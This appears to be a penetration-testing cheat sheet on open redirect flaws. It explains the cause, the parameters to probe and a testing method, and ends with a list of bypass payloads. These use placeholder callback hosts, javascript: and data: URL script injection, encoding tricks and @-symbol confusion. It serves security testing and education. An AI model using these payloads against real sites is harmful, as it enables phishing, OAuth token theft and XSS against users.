open-redirect-testing

Open Redirect

What Is Broken and Why

Applications that accept a URL or path from user input and redirect to it without validating the destination allow attackers to craft links that appear to originate from a trusted domain but send victims to attacker-controlled pages. Commonly used for phishing, OAuth token theft, and as a stepping stone to reflected XSS or SSRF.

Key Signals

• Parameters named redirect, url, next, return_to, continue, dest, destination, return, go, target, rurl, returl in GET/POST requests
• HTTP 301/302/307/308 responses with attacker-influenced Location header
• Post-login or post-logout redirects that echo back a ?next= value
• OAuth state parameter or redirect_uri validation weaknesses
• JavaScript-based redirects: location.href = param, window.location = param

Methodology

1. Identify all redirect parameters across login, logout, OAuth flows, and link shorteners.
2. Submit https://evil.example as the parameter value; observe if Location: reflects it.
3. If a domain check exists, attempt each bypass technique below.
4. Test JavaScript redirects separately — inject javascript:alert(1) for XSS path.
5. Check for open redirects on subdomains that can be used to bypass SameSite cookie restrictions on the main domain.

Payloads & Tools

# Baseline
?next=https://CALLBACK

# Protocol-relative
?next=//CALLBACK

# javascript: scheme (XSS via redirect)
?next=javascript:alert(document.domain)

# Encoded slashes
?next=%2f%2fCALLBACK
?next=%252f%252fCALLBACK

# @-symbol trick
?next=https://TARGET@CALLBACK

# Backslash normalization
?next=https://TARGET\@CALLBACK
?next=https://TARGET\CALLBACK

# Subdomain confusion
?next=https://TARGET.CALLBACK

# Fragment abuse
?next=https://TARGET#@CALLBACK

# Null byte
?next=https://TARGET%00.CALLBACK

# Tab/whitespace
?next=https://TARGET%09.CALLBACK

# Unicode homograph (Cyrillic/IDN)
?next=https://CALLBACK  (using look-alike chars)

# Data URL
?next=data:text/html,<script>location='https://CALLBACK'</script>